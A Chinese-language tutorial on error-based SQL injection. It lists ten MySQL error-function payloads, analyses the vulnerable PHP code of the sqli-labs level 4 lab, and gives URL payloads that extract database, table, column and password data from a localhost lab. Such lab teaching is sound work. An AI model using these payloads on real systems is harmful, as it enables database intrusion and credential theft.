显错注入原理
接下来我们学习显错注入,显错注入也是注入的一种常用手段,通过页面返回的报错信息得到我们所查询的内容。
按我个人的理解来看,显错注入是利用了一些特殊的函数引发报错,而报错会照常输出恶意查询语句的内容,这样我们就可以完成注入攻击,达到注入的目的。
显错注入利用的条件
显错注入,顾名思义就是显示错误内容,然后通过错误内容得到数据。那么既然我们要需要从错误内容中得到数据,那么自然需要前端页面显示错误内容。所以主要满足的条件有:
- 存在SQL注入漏洞
- 前端页面返回错误内容
如果满足了这两个条件的话,就可以使用显错注入了!
可以被利用的函数
以下函数都可以被显错注入所利用,可以按具体情况选择使用,总而言之就是在函数的参数中放入恶意查询语句,会被正常执行,然后以报错信息的方式回显出来。
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
显错注入漏洞的代码分析
之前的注入文章没有好好的进行代码的分析,而这里就更加仔细的对代码漏洞的产生进行分析讲解便于加深读者理解
这里拿出sqli-labs第四关的代码进行实例
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
先是接受一个参数ID,变量id是由参数拼接双引号组成
然后变量会放入到SQL语句进行查询,这个SQL语句由括号闭合
然后会对SQL语句进行查询处理
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
然后通过下行代码将查询出来的数据输出出来,所以这里很明显存在联合查询注入
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
当联合查询注入无法使用的时候,我们再考虑是否存在显错注入,看下面的代码,当没有从数据库输出数据的时候,就会把报错信息给输出出来,这样我们就可以利用显错注入完成注入攻击,将非法查询的语句执行的结果通过报错的方式输出
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
注入
这里使用updatexml函数进行显错注入
爆库名
http://127.0.0.1/sqli/Less-4/?id=1") and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
爆表:
http://127.0.0.1/sqli/Less-4/?id=1") and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:
http://127.0.0.1/sqli/Less-1/?id=1") and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:
http://127.0.0.1/sqli/Less-4/?id=1") and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +
其它函数有其他的使用方式,明白原理是关键